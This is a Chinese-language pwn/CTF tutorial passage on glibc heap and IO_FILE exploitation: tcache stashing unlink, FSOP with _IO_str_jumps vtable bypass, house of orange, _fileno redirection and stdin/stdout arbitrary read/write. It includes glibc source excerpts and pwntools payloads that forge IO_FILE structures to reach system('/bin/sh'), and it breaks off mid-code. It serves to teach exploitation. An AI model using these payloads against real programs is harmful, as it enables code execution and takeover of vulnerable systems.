先来看house of lore,如果能够修改small bin的某个free chunkbkfake chunk,并且通过修改fake chunkfd为该free chunk,绕过__glibc_unlikely( bck->fd != victim )检查,就可以通过申请堆块得到这个fake chunk,进而进行任意地址的读写操作。
当在高版本libc下有tcache后,将会更加容易达成上述目的,因为当从small bin返回了一个所需大小的chunk后,在将剩余堆块放入tcache bin的过程中,除了检测了第一个堆块的fd指针外,都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测,又calloc()会越过tcache取堆块,因此有了如下tcache_stashing_unlink_attack的攻击手段,并同时实现了libc的泄露或将任意地址中的值改为很大的数(与unsorted bin attack很类似)。

  1. 假设目前tcache bin中已经有五个堆块,并且相应大小的small bin中已经有两个堆块,由bk指针连接为:chunk_A<-chunk_B

  2. 利用漏洞修改chunk_Abkfake chunk,并且修改fake chunkbktarget_addr - 0x10

  3. 通过calloc()越过tcache bin,直接从small bin中取出chunk_B返回给用户,并且会将chunk_A以及其所指向的fake chunk放入tcache bin(这里只会检测chunk_Afd指针是否指向了chunk_B)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    while ( tcache->counts[tc_idx] < mp_.tcache_count
        && (tc_victim = last (bin) ) != bin) //验证取出的Chunk是否为Bin本身(Smallbin是否已空)
    {
     if (tc_victim != 0) //成功获取了chunk
     {
         bck = tc_victim->bk; //在这里bck是fake chunk的bk
         //设置标志位
         set_inuse_bit_at_offset (tc_victim, nb);
         if (av != &main_arena)
             set_non_main_arena (tc_victim);
     
         bin->bk = bck;
         bck->fd = bin; //关键处
     
         tcache_put (tc_victim, tc_idx); //将其放入到tcache中
     }
    }
  4. fake chunk放入tcache bin之前,执行了bck->fd = bin;的操作(这里的bck就是fake chunkbk,也就是target_addr - 0x10),故target_addr - 0x10fd,也就target_addr地址会被写入一个与libc相关大数值(可利用)。

  5. 再申请一次,就可以从tcache中获得fake chunk的控制权。

综上,此利用可以完成获得任意地址的控制权在任意地址写入大数值两个任务,这两个任务当然也可以拆解分别完成。

  1. 获得任意地址target_addr的控制权:在上述流程中,直接将chunk_Abk改为target_addr - 0x10,并且保证target_addr - 0x10bkfd为一个可写地址(一般情况下,使target_addr - 0x10bk,即target_addr + 8处的值为一个可写地址即可)。
  2. 在任意地址target_addr写入大数值:在unsorted bin attack后,有时候要修复链表,在链表不好修复时,可以采用此利用达到同样的效果,在高版本glibc下,unsorted bin attack失效后,此利用应用更为广泛。在上述流程中,需要使tcache bin中原先有六个堆块,然后将chunk_Abk改为target_addr - 0x10即可。

此外,让tcache bin中不满七个,就又在smallbin中有同样大小的堆块,并且只有calloc,可以利用堆块分割后,残余部分进入unsorted bin实现。

IO_FILE 相关结构体

_IO_FILE_plus结构体的定义为:

1
2
3
4
5
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

vtable对应的结构体_IO_jump_t的定义为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

这个函数表中有19个函数,分别完成IO相关的功能,由IO函数调用,如fwrite最终会调用__write函数,fread会调用__doallocate来分配IO缓冲区等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags
 
    char* _IO_read_ptr;   /* Current read pointer */
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */
 
    struct _IO_marker *_markers;
 
    struct _IO_FILE *_chain;
 
    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;
 
#define __HAVE_COLUMN
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

进程中FILE结构通过_chain域构成一个链表,链表头部为_IO_list_all全局变量,默认情况下依次链接了stderr,stdout,stdin三个文件流,并将新建的流插入到头部,vtable虚表为_IO_file_jumps
此外,还有_IO_wide_data结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct _IO_wide_data
{
      wchar_t *_IO_read_ptr;   
      wchar_t *_IO_read_end;
      wchar_t *_IO_read_base;
      wchar_t *_IO_write_base;
      wchar_t *_IO_write_ptr;
      wchar_t *_IO_write_end;   
      wchar_t *_IO_buf_base;   
      wchar_t *_IO_buf_end;   
      [...]
      const struct _IO_jump_t *_wide_vtable;
};

还有一些宏的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000
#define _OLD_STDIO_MAGIC 0xFABC0000
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4
#define _IO_NO_WRITES 8
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40
#define _IO_LINKED 0x80
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

此外,许多Pwn题初始化的时候都会有下面三行:

1
2
3
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);

这是初始化程序的io结构体,只有初始化之后,io函数才能在程序过程中打印数据,如果不初始化,就只能在exit结束的时候,才能一起把数据打印出来。

IO_FILE attack 之 FSOP (libc 2.23 & 2.24)

主要原理为劫持vtable_chain,伪造IO_FILE,主要利用方式为调用IO_flush_all_lockp()函数触发。
IO_flush_all_lockp()函数将在以下三种情况下被调用:

  1. libc检测到内存错误,从而执行abort函数时(在glibc-2.26删除)。
  2. 程序执行exit函数时。
  3. 程序从main函数返回时。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int _IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;
 
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
        ...
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)   //如果输出缓冲区有数据,刷新输出缓冲区
    result = EOF;
 
 
    fp = fp->_chain; //遍历链表
    }
    [...]
}

可以看到,当满足:

1
2
fp->_mode = 0
fp->_IO_write_ptr > fp->_IO_write_base

就会调用_IO_OVERFLOW()函数,而这里的_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow,因此在libc-2.23版本下可如下构造,进行FSOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = "/bin/sh\x00", //对应此结构体首地址(fp)
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = heap_addr
}
heap_addr
{
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x0,
  __overflow = system_addr,
    ...
}

因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")

 

libc-2.24加入了对虚表的检查IO_validate_vtable()IO_vtable_check(),若无法通过检查,则会报错:Fatal error: glibc detected an invalid stdio handle

1
2
3
4
5
6
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)   \
                 + (THIS)->_vtable_offset)))

可见在最终调用vtable的函数之前,内联进了IO_validate_vtable函数,其源码如下:

1
2
3
4
5
6
7
8
9
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
    _IO_vtable_check ();
  return vtable;
}

glibc中有一段完整的内存存放着各个vtable,其中__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址。
若指针不在glibcvtable段,会调用_IO_vtable_check()做进一步检查,以判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。
具体源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void attribute_hidden _IO_vtable_check (void)
{
#ifdef SHARED
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
    return;
 
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE)) //检查是否是动态链接库中的vtable
      return;
  }
 
...
 
  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

因此,最好的办法是:我们伪造的vtableglibcvtable段中,从而得以绕过该检查。
目前来说,有四种思路:利用_IO_str_jumps_IO_str_overflow()函数,利用_IO_str_jumps_IO_str_finish()函数与利用_IO_wstr_jumps中对应的这两种函数,先来介绍最为方便的:利用_IO_str_jumps_IO_str_finish()函数的手段。
_IO_str_jumps的结构体如下:

1
2
3
4
5
6
7
8
9
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_str_finish),
    JUMP_INIT(overflow, _IO_str_overflow),
    JUMP_INIT(underflow, _IO_str_underflow),
    JUMP_INIT(uflow, _IO_default_uflow),
    ...
}

其中,_IO_str_finish源代码如下:

1
2
3
4
5
6
7
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}

其中相关的_IO_str_fields结构体与_IO_strfile_结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};
 
typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

可以看到,它使用了IO结构体中的值当作函数地址来直接调用,如果满足条件,将直接将fp->_s._free_buffer当作函数指针来调用。
首先,仍然需要绕过之前的_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base进入到_IO_OVERFLOW中。
我们可以将vtable的地址覆盖成_IO_str_jumps-8,这样会使得_IO_str_finish函数成为了伪造的vtable地址的_IO_OVERFLOW函数(因为_IO_str_finish偏移为_IO_str_jumps0x10,而_IO_OVERFLOW0x18)。这个vtable(地址为_IO_str_jumps-8)可以绕过检查,因为它在vtable的地址段中。
构造好vtable之后,需要做的就是构造IO FILE结构体其他字段,以进入将fp->_s._free_buffer当作函数指针的调用:先构造fp->_IO_buf_base/bin/sh的地址,然后构造fp->_flags不包含_IO_USER_BUF,它的定义为#define _IO_USER_BUF 1,即fp->_flags最低位为0
最后构造fp->_s._free_buffersystem_addrone gadget即可getshell
由于libc中没有_IO_str_jump的符号,因此可以通过_IO_str_jumpsvtable中的倒数第二个表,用vtable的最后地址减去0x168定位。
也可以用如下函数进行定位:

1
2
3
4
5
6
7
8
# libc.address = libc_base
def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr

可以进行如下构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = bin_sh_addr,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps-8 //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : 0x0
+0xe8 ~ +0xf0 : system_addr / one_gadget //fp->_s._free_buffer

利用house of orange(见下文)构造的payload

1
2
3
4
payload = p64(0) + p64(0x60) + p64(0) + p64(libc.sym['_IO_list_all'] - 0x10) #unsorted bin attack
payload += p64(0) + p64(1) + p64(0) + p64(next(libc.search(b'/bin/sh')))
payload = payload.ljust(0xd8, b'\x00') + p64(get_IO_str_jumps() - 8)
payload += p64(0) + p64(libc.sym['system'])

再来介绍一下:利用_IO_str_jumps_IO_str_overflow()函数的手段。
_IO_str_overflow()函数的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int _IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 调用了fp->_s._allocate_buffer函数指针
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

和之前利用_IO_str_finish的思路差不多,可以看到其中调用了fp->_s._allocate_buffer函数指针,其参数rdinew_size,因此,我们将_s._allocate_buffer改为system的地址,new_size改为/bin/sh的地址,又new_size = 2 * old_blen + 100,也就是new_size = 2 * _IO_blen (fp) + 100,可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100,故我们可以使_IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) // 2,当然还不能忘了需要绕过_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base才能进入到_IO_OVERFLOW中,故令_IO_write_ptr = 0xffffffffffffffff_IO_write_base = 0x0即可。
最终可按如下布局fake IO_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = (bin_sh_addr - 100) // 2,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : system_addr / one_gadget //fp->_s._allocate_buffer

参考payload(劫持的stdout):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
new_size = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0xfbad2084)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0xffffffffffffffff) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0) #lock
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])

而在libc-2.28及以后,由于不再使用偏移找_s._allocate_buffer_s._free_buffer,而是直接用mallocfree代替,所以FSOP也失效了。

house of orange

利用unsorted bin attack 配合 IO_FILE attack (FSOP)进行攻击。
通过unsorted bin attack_IO_list_all内容从_IO_2_1_stderr_改为main_arena+88/96(实则指向top chunk)。
而在_IO_FILE_plus结构体中,_chain的偏移为0x68,而top chunk之后为0x8单位的last_remainder,接下来为unsorted binfdbk指针,共0x10大小,再之后为small bin中的指针(每个small binfdbk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到smallbin[4](准确说为其fd字段),大小就是从0x200x60,而smallbin[4]fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header),因此0x60small bin的地址即为fake struct_chain中的内容,只需要控制该0x60small bin(以及其下面某些堆块)中的部分内容,即可进行FSOP

IO_FILE attack 之 利用_fileno字段

_fileno的值就是文件描述符,位于stdin文件结构开头0x70偏移处,如:stdinfileno0stdoutfileno1stderrfileno2
在漏洞利用中,可以通过修改stdin_fileno值来重定位需要读取的文件,本来为0的话,表示从标准输入中读取,修改为3则表示为从文件描述符为3的文件(已经open的文件)中读取,该利用在某些情况下可直接读取flag

IO_FILE attack 之 任意读写

1.利用stdin进行任意写

 

scanffreadgets等读入走IO指针(read不走)。
大体流程为:若_IO_buf_base为空,则调用_IO_doallocbuf去初始化输入缓冲区,然后判断输入缓冲区是否存在剩余数据,如果输入缓冲区有剩余数据(_IO_read_end > _IO_read_ptr)则将其直接拷贝至目标地址(不会对此时输入的数据进行读入),如果没有或不够,则调用__underflow函数执行系统调用读取数据SYS_read)到输入缓冲区(从_IO_buf_base_IO_buf_end,默认0x400,即将数据读到_IO_buf_base,读取0x400个字节),此时若实际读入了n个字节的数据,则_IO_read_end = _IO_buf_base + n(即_IO_read_end指向实际读入的最后一个字节的数据),之后再将输入缓冲区中的数据拷贝到目标地址。
这里需要注意的是,若输入缓冲区中没有剩余的数据,则每次读入数据进输入缓冲区,仅和_IO_buf_base_IO_buf_end有关。
在将数据从输入缓冲区拷贝到目标地址的过程中,需要满足所调用的读入函数的自身的限制条件,例如:使用scanf("%d",&a)读入整数,则当在输入缓冲区中遇到了字符(或scanf的一些截断符)等不符合的情况,就会停止这个拷贝的过程。最终,_IO_read_ptr指向成功拷贝到目的地址中的最后一个字节数据在输入缓冲区中的地址。因此,若是遇到了不符合限制条件的情况而终止拷贝,则最终会使得_IO_read_end > _IO_read_ptr,即再下一次读入之前会被认定为输入缓冲区中仍有剩余数据,在此情况下,很有可能不会进行此次读入,或将输入缓冲区中剩余的数据拷贝到此次读入的目标地址,从而导致读入的错误
getchar()IO_getc()的作用是刷新_IO_read_ptr,每次调用,会从输入缓冲区读一个字节数据,即将_IO_read_ptr++
相关源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
 ...
  if (fp->_IO_buf_base == NULL)
    {
      ...
      //输入缓冲区为空则初始化输入缓冲区
    }
  while (want > 0)
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (have > 0)
        {
          ...
          //memcpy
 
        }
      if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)  // 调用__underflow读入数据
          ...
        }
      ...
  return n - want;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int _IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
  ...
  // 会检查_flags是否包含_IO_NO_READS标志,包含则直接返回。
  // 标志的定义是#define _IO_NO_READS 4,因此_flags不能包含4。
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  // 如果输入缓冲区里存在数据,则直接返回
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
  ...
  // 调用_IO_SYSREAD函数最终执行系统调用读取数据
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
               fp->_IO_buf_end - fp->_IO_buf_base);
  ...
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

综上,为了做到任意写,满足如下条件,即可进行利用:
(1) 设置_IO_read_end等于_IO_read_ptr(使得输入缓冲区内没有剩余数据,从而可以从用户读入数据)。
(2) 设置_flag &~ _IO_NO_READS_flag &~ 0x4(一般不用特意设置)。
(3) 设置_fileno0(一般不用特意设置)。
(4) 设置_IO_buf_basewrite_start_IO_buf_endwrite_end(我们目标写的起始地址是write_start,写结束地址为write_end),且使得_IO_buf_end-_IO_buf_base大于要写入的数据长度。

 

2.利用stdout进行任意读/写

 

printffwriteputs等输出走IO指针(write不走)。
_IO_2_1_stdout_中,_IO_buf_base_IO_buf_end为输出缓冲区起始位置(默认大小为0x400),在输出的过程中,会先将需要输出的数据从目标地址拷贝到输出缓冲区,再从输出缓冲区输出给用户。
缓冲区建立函数_IO_doallocbuf会建立输出缓冲区,并把基地址保存在_IO_buf_base中,结束地址保存在_IO_buf_end中。在建立里输出缓冲区后,会将基址址给_IO_write_base,若是设置的是全缓冲模式_IO_FULL_BUF,则会将结束地址给_IO_write_end,若是设置的是行缓冲模式_IO_LINE_BUF,则_IO_write_end中存的是_IO_buf_base,此外,_IO_write_ptr表示输出缓冲区中已经使用到的地址。即_IO_write_base_IO_write_ptr之间的空间是已经使用的缓冲区,_IO_write_ptr_IO_write_end之间为剩余的输出缓冲区。
最终实际调用了_IO_2_1_stdout_vtable中的_xsputn,也就是_IO_new_file_xsputn函数,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
IO_size_t _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;
  if (n <= 0)
    return 0;
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    { //如果是行缓冲模式...
      count = f->_IO_buf_end - f->_IO_write_ptr; //判断输出缓冲区还有多少空间
      if (count >= n)
        {
          const char *p;
          for (p = s + n; p > s; )
            {
              if (*--p == '\n') //最后一个换行符\n为截断符,且需要刷新输出缓冲区
                {
                  count = p - s + 1;
                  must_flush = 1; //标志为真:需要刷新输出缓冲区
                  break;
                }
            }
        }
    }
  else if (f->_IO_write_end > f->_IO_write_ptr) //判断输出缓冲区还有多少空间(全缓冲模式)
    count = f->_IO_write_end - f->_IO_write_ptr;
  if (count > 0)
    {
      //如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
      if (count > to_do)
    count = to_do;
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0) //此处关键,见下文详细讨论
    {
      _IO_size_t block_size, do_write;
      if (_IO_OVERFLOW (f, EOF) == EOF) //调用_IO_OVERFLOW
        return to_do == 0 ? EOF : n - to_do;
      block_size = f->_IO_buf_end - f->_IO_buf_base;
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
      if (do_write)
        {
          count = new_do_write (f, s, do_write);
          to_do -= count;
          if (count < do_write)
            return n - to_do;
        }
      if (to_do)
        to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

(1)任意写
可以看到,在行缓冲模式下,判断输出缓冲区还有多少空间,用的是count = f->_IO_buf_end - f->_IO_write_ptr,而在全缓冲模式下,用的是count = f->_IO_write_end - f->_IO_write_ptr,若是还有空间剩余,则会将要输出的数据复制到输出缓冲区中(此时由_IO_write_ptr控制,向_IO_write_ptr拷贝count长度的数据),因此可通过这一点来实现任意地址写的功能。
利用方式:以全缓冲模式为例,只需将_IO_write_ptr指向write_start_IO_write_end指向write_end即可。
这里需要注意的是,有宏定义#define _IO_LINE_BUF 0x0200,此处flag & _IO_LINE_BUF为真,则表示flag中包含了_IO_LINE_BUF标识,即开启了行缓冲模式(可用setvbuf(stdout,0,_IOLBF,1024)开启),若要构造flag包含_IO_LINE_BUF标识,则flag |= 0x200即可。
(2)任意读
先讨论_IO_new_file_xsputn源代码中if (to_do + must_flush > 0)有哪些情况会执行该分支中的内容:
(a) 首先要明确的是to_do一定是非负数,因此若must_flush1的时候就会执行该分支中的内容,而再往上看,当需要输出的内容中有\n换行符的时候就会需要刷新输出缓冲区,即将must_flush设为1,故当输出内容中有\n的时候就会执行该分支的内容,如用puts函数输出就一定会执行。
(b) 若to_do大于0,也会执行该分支中的内容,因此,当 输出缓冲区未建立 或者 输出缓冲区没有剩余空间 或者 输出缓冲区剩余的空间不够一次性将目标地址中的数据完全拷贝过来 的时候,也会执行该if分支中的内容。
而该if分支中主要调用了_IO_OVERFLOW()来刷新输出缓冲区,而在此过程中会调用_IO_do_write()输出我们想要的数据。
相关源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
  // 判断标志位是否包含_IO_NO_WRITES => _flags需要不包含_IO_NO_WRITES
  if (f->_flags & _IO_NO_WRITES)
    {
